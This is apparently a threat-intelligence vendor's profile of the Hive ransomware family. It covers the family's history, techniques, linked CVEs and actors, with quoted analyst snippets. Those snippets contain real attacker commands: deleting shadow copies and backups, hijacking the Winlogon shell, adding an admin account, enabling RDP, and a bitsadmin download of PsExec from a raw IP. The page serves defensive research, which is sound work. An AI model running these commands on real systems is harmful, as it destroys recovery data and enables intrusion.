Loading malware…
Hive is a ransomware-as-a-service operation and malware family first observed in June 2021. It is best known as a double-extortion threat: affiliates steal data from victim environments and then deploy file-encrypting malware while operators threaten public disclosure if payment is refused. Hive became one of the more prominent ransomware payloads in the RaaS ecosystem and was associated with intrusions across multiple sectors, including healthcare, software, and other enterprise environments.
Hive has primarily targeted Windows environments, but operators also developed Linux, FreeBSD, and VMware ESXi-capable variants to increase impact against servers and virtualized infrastructure. Early variants were written in Go, while later variants were rewritten or heavily reworked in Rust. Reported functionality includes enumerating local, removable, and network-accessible storage; encrypting files at scale using concurrent processing; dropping ransom notes; deleting backups and shadow copies; disabling recovery mechanisms; clearing event logs; terminating processes and services associated with backups, databases, security tools, and enterprise applications; and impairing defensive controls including Microsoft Defender. Some campaigns also used supporting loaders and obfuscation techniques to stage Cobalt Strike payloads prior to ransomware deployment.
Hive intrusions were human-operated and affiliate-driven. Reported initial access methods include phishing with malicious attachments, compromised VPN credentials, vulnerable or exposed RDP, and exploitation of internet-facing systems such as Microsoft Exchange ProxyShell. Post-compromise activity associated with Hive affiliates includes credential theft, Active Directory reconnaissance, password spraying, use of Cobalt Strike, Mimikatz, PowerShell and batch scripting, remote administration tooling, scheduled tasks, Group Policy-based deployment, and PsExec-assisted lateral movement. Hive operators and affiliates were also reported to exfiltrate data before encryption and to conduct negotiations through centralized operator-managed infrastructure.
Hive was notably active against healthcare organizations and other enterprises where operational disruption increased extortion pressure. Public reporting also linked Hive activity or affiliates to related tooling overlaps and possible ecosystem connections with other ransomware operations, though such relationships are not uniformly established at the malware-family level. In January 2023, law enforcement disrupted Hive infrastructure after a long-running infiltration effort that reportedly enabled authorities to provide decryption assistance to victims.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
7 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues... ProxyShell is a set of three vulnerabilities in the Microsoft Exchange Server that allow remote code execution without authentication on vulnerable deployments. The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues to deploy various backdoors, including Cobalt Strike beacon.
The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues to deploy various backdoors, including Cobalt Strike beacon.
The flaws are tracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. | A Hive ransomware affiliate has been targeting Microsoft Exchange servers vulnerable to ProxyShell security issues to deploy various backdoors, including Cobalt Strike beacon.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
the following three ransomware families are being observed in the majority of recent attacks: Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model.
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Hive ransomware is only about one year old, having been first observed in June 2021, but it has grown into one of the most prevalent ransomware payloads in the ransomware as a service (RaaS) ecosystem.
Indictments returned in New Jersey and the District of Columbia allege that Matveev was involved in a conspiracy to distribute ransomware from three different strains or affiliate groups, including Babuk, Hive and LockBit.
Authorities say Matveev played a major role in the development and deployment of the Hive, LockBit and Babuk ransomware variants...
...delivering various ransomware payloads over the years, including Hive, BlackCat (ALPHV), Hunters International, LockBit, and Embargo ransomware.
35 distinct techniques documented for this family, organized by ATT&CK tactic.
It also comes with support for a single command line parameter (-no-wipe). In contrast, Hive's Windows ransomware comes with up to 5 execution options, including killing processes and skipping disk cleaning, uninteresting files, and older files.
"vssadmin.exe delete shadows /all /quiet" "wmic.exe shadowcopy delete" "wbadmin.exe delete systemstatebackup"
The new variant uses a different set of algorithms: Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\windows\file2.bat" /f
net user <REDACTED> <REDACTED> /add ... net localgroup Administrators <REDACTED> /add
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
The new Hive variant uses string encryption that can make it more evasive. Strings reside in the .rdata section and are decrypted during runtime by XORing with constants.
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery.
Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
"C:\windows\7zr.exe" x c:\windows\int.7z -p123 -oc:\windows
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Rapid7 observed that the HIVE payload would not execute unless a flag of -u was passed.
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
Based on the stop flag, the malware connects to the Windows service control manager and proceeds to stop services matching the regex provided.
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
The discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup. This list is then used with NetShareEnum to identify file shares on each remote host
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP). This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
The disclosure comes as the U.S. Federal Bureau of Investigation (FBI) released a Flash report detailing the tactics of a new Ransomware-as-a-Service (RaaS) outfit known as Hive, consisting of a number of actors who are using multiple mechanisms to compromise business networks, exfiltrate data and encrypt data on the networks, and attempt to collect a ransom in exchange for access to the decryption software.
The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies... deleting backup catalogs
The Hive ransomware gang now also encrypts Linux and FreeBSD using new malware variants specifically developed to target these platforms.
Hive stops the following services: windefend, msmpsvc, kavsvc... veeam, backup, vss, msexchange, mysql...
Like most sophisticated malware, Hive stops services and processes associated with security solutions and other tools that might get in the way of its attack chain. Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
94 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
115 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Named as one of the ransomware families with low prevention rates in the testing data; no further technical detail provided.
Mentioned only as another ransomware family using Rust.
Ransomware family/group referenced as the earlier lineage behind Hunters International and, indirectly, WorldLeaks. Mentioned for background context on group evolution.
A ransomware/RaaS family mentioned for comparison because prior research suggested similarities in attack chain with Nokoyawa, though this analysis concludes there are no major code similarities and Nokoyawa is not a Hive rebrand.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.